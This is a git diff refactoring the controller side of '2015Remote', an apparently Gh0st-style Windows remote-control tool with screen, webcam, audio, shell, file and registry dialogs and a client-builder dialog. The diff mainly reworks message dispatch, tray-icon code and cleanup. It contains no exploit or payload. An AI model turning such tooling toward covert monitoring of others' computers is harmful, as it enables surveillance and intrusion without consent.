diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 69efcb7..c03c80e 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -26,10 +26,6 @@ #define UM_ICONNOTIFY WM_USER+100 -// 文件对话框数组(因为容易导致程序崩溃而出此策略) -std::vector v_FileDlg; -// 注册表对话框数组(因为容易导致程序崩溃而出此策略) -std::vector v_RegDlg; enum { @@ -186,6 +182,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_OPENSERVICESDIALOG, OnOpenServicesDialog) ON_MESSAGE(WM_OPENREGISTERDIALOG, OnOpenRegisterDialog) ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenVideoDialog) + ON_MESSAGE(WM_HANDLEMESSAGE, OnHandleMessage) ON_WM_HELPINFO() END_MESSAGE_MAP() @@ -246,7 +243,6 @@ VOID CMy2015RemoteDlg::CreatStatusBar() VOID CMy2015RemoteDlg::CreateNotifyBar() { -#if INDEPENDENT m_Nid.cbSize = sizeof(NOTIFYICONDATA); //大小赋值 m_Nid.hWnd = m_hWnd; //父窗口 是被定义在父类CWnd类中 m_Nid.uID = IDR_MAINFRAME; //icon ID @@ -256,7 +252,6 @@ VOID CMy2015RemoteDlg::CreateNotifyBar() CString strTips ="禁界: 远程协助软件"; //气泡提示 lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0])); Shell_NotifyIcon(NIM_ADD, &m_Nid); //显示托盘 -#endif } VOID CMy2015RemoteDlg::CreateToolBar() @@ -438,10 +433,6 @@ BOOL CMy2015RemoteDlg::OnInitDialog() return FALSE; } -#if !INDEPENDENT - ShowWindow(SW_SHOW); -#endif - timeBeginPeriod(1); return TRUE; // 除非将焦点设置到控件,否则返回 TRUE @@ -454,12 +445,6 @@ void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam) CAboutDlg dlgAbout; dlgAbout.DoModal(); } -#if !INDEPENDENT - else if(nID == SC_CLOSE || nID == SC_MINIMIZE) - { - ShowWindow(SW_HIDE); - } -#endif else { CDialogEx::OnSysCommand(nID, lParam); @@ -585,9 +570,8 @@ void CMy2015RemoteDlg::Release(){ OutputDebugStringA("======> Release\n"); isClosed = TRUE; ShowWindow(SW_HIDE); -#if INDEPENDENT + Shell_NotifyIcon(NIM_DELETE, &m_Nid); -#endif BYTE bToken = CLIENT_EXIT_WITH_SERVER ? COMMAND_BYE : SERVER_EXIT; EnterCriticalSection(&m_cs); @@ -600,32 +584,6 @@ void CMy2015RemoteDlg::Release(){ LeaveCriticalSection(&m_cs); Sleep(200); - EnterCriticalSection(&m_cs); - /* - for (std::vector::iterator iter = v_FileDlg.begin(); - iter != v_FileDlg.end(); ++iter) - { - CFileManagerDlg *cur = *iter; - ::SendMessage(cur->GetSafeHwnd(), WM_CLOSE, 0, 0); - while (false == cur->m_bIsClosed) - Sleep(1); - delete cur; - } - */ - for (std::vector::iterator iter = v_RegDlg.begin(); - iter != v_RegDlg.end(); ++iter) - { - CRegisterDlg *cur = *iter; - ::SendMessage(cur->GetSafeHwnd(), WM_CLOSE, 0, 0); - while (false == cur->m_bIsClosed) - Sleep(1); - delete cur; - } - LeaveCriticalSection(&m_cs); - - //加上下面Sleep语句能避免不少退出时的崩溃、怀疑是IOCP需要背地干些工作 - Sleep(300); - if (m_iocpServer!=NULL) { delete m_iocpServer; @@ -820,13 +778,8 @@ VOID CMy2015RemoteDlg::OnOnlineDesktopManager() VOID CMy2015RemoteDlg::OnOnlineFileManager() { -#if INDEPENDENT BYTE bToken = COMMAND_LIST_DRIVE; SendSelectedCommand(&bToken, sizeof(BYTE)); -#else - if(m_CList_Online.GetFirstSelectedItemPosition()) - ShowMessage(FALSE, "此功能已暂停使用"); -#endif } VOID CMy2015RemoteDlg::OnOnlineAudioManager() @@ -963,7 +916,60 @@ BOOL CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) VOID CALLBACK CMy2015RemoteDlg::NotifyProc(CONTEXT_OBJECT* ContextObject) { AUTO_TICK(20); - MessageHandle(ContextObject); + + switch (ContextObject->v1) + { + case VIDEO_DLG: + { + CVideoDlg* Dlg = (CVideoDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case SERVICES_DLG: + { + CServicesDlg* Dlg = (CServicesDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case AUDIO_DLG: + { + CAudioDlg* Dlg = (CAudioDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case SYSTEM_DLG: + { + CSystemDlg* Dlg = (CSystemDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case SHELL_DLG: + { + CShellDlg* Dlg = (CShellDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case SCREENSPY_DLG: + { + CScreenSpyDlg* Dlg = (CScreenSpyDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case FILEMANAGER_DLG: + { + CFileManagerDlg* Dlg = (CFileManagerDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + case REGISTER_DLG: + { + CRegisterDlg* Dlg = (CRegisterDlg*)ContextObject->hDlg; + Dlg->OnReceiveComplete(); + break; + } + default: + g_2015RemoteDlg->PostMessage(WM_HANDLEMESSAGE, (WPARAM)ContextObject, (LPARAM)ContextObject); + } } // 对话框句柄及对话框类型 @@ -986,64 +992,15 @@ VOID CALLBACK CMy2015RemoteDlg::OfflineProc(CONTEXT_OBJECT* ContextObject) } +LRESULT CMy2015RemoteDlg::OnHandleMessage(WPARAM wParam, LPARAM lParam) { + CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; + MessageHandle(ContextObject); + return S_OK; +} + + VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) { - if (ContextObject->v1 > 0) - { - switch(ContextObject->v1) - { - case VIDEO_DLG: - { - CVideoDlg *Dlg = (CVideoDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case SERVICES_DLG: - { - CServicesDlg *Dlg = (CServicesDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case AUDIO_DLG: - { - CAudioDlg *Dlg = (CAudioDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case SYSTEM_DLG: - { - CSystemDlg *Dlg = (CSystemDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case SHELL_DLG: - { - CShellDlg *Dlg = (CShellDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case SCREENSPY_DLG: - { - CScreenSpyDlg *Dlg = (CScreenSpyDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case FILEMANAGER_DLG: - { - CFileManagerDlg *Dlg = (CFileManagerDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - case REGISTER_DLG: - { - CRegisterDlg *Dlg = (CRegisterDlg*)ContextObject->hDlg; - Dlg->OnReceiveComplete(); - break; - } - } - return; - } - switch (ContextObject->InDeCompressedBuffer.GetBYTE(0)) { case COMMAND_BYE: @@ -1242,7 +1199,7 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) case REGISTER_DLG: { CRegisterDlg *Dlg = (CRegisterDlg*)p->hDlg; - //delete Dlg; //特殊处理 + delete Dlg; //特殊处理 break; } default:break; @@ -1395,21 +1352,6 @@ LRESULT CMy2015RemoteDlg::OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam) ContextObject->v1 = REGISTER_DLG; ContextObject->hDlg = Dlg; - EnterCriticalSection(&m_cs); - for (std::vector::iterator iter = v_RegDlg.begin(); - iter != v_RegDlg.end(); ) - { - CRegisterDlg *cur = *iter; - if (cur->m_bIsClosed) - { - delete cur; - iter = v_RegDlg.erase(iter); - }else{ - ++iter; - } - } - v_RegDlg.push_back(Dlg); - LeaveCriticalSection(&m_cs); return 0; } diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 2047c4c..7bae501 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -10,16 +10,8 @@ ////////////////////////////////////////////////////////////////////////// // 以下为特殊需求使用 -#define INDEPENDENT 1 - -////////////////////////////////////////////////////////////////////////// - -#if INDEPENDENT // 是否在退出主控端时也退出客户端 #define CLIENT_EXIT_WITH_SERVER 0 -#else -#define CLIENT_EXIT_WITH_SERVER 1 -#endif // CMy2015RemoteDlg 对话框 class CMy2015RemoteDlg : public CDialogEx @@ -61,7 +53,7 @@ public: static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject); static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject); - static VOID MessageHandle(CONTEXT_OBJECT* ContextObject); + VOID MessageHandle(CONTEXT_OBJECT* ContextObject); VOID SendSelectedCommand(PBYTE szBuffer, ULONG ulLength); // 显示用户上线信息 CListCtrl m_CList_Online; @@ -69,9 +61,9 @@ public: CStatusBar m_StatusBar; //状态条 CTrueColorToolBar m_ToolBar; -#if INDEPENDENT + NOTIFYICONDATA m_Nid; -#endif + CRITICAL_SECTION m_cs; BOOL isClosed; @@ -111,6 +103,7 @@ public: afx_msg LRESULT OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam); afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam); + afx_msg LRESULT OnHandleMessage(WPARAM wParam, LPARAM lParam); afx_msg BOOL OnHelpInfo(HELPINFO* pHelpInfo); virtual BOOL PreTranslateMessage(MSG* pMsg); }; diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 68eb5f6..96d0c8a 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -187,6 +187,7 @@ BOOL CBuildDlg::OnInitDialog() m_ComboEncrypt.InsertString(0, "无"); m_ComboEncrypt.InsertString(1, "XOR"); m_ComboEncrypt.SetCurSel(0); + m_ComboEncrypt.EnableWindow(FALSE); return TRUE; // return TRUE unless you set the focus to a control // 异常: OCX 属性页应返回 FALSE diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index 5ff8fdf..050614c 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -90,6 +90,7 @@ #define WM_OPENWEBCAMDIALOG WM_USER+3009 #define WM_USEROFFLINEMSG WM_USER+3010 +#define WM_HANDLEMESSAGE WM_USER+3011 enum {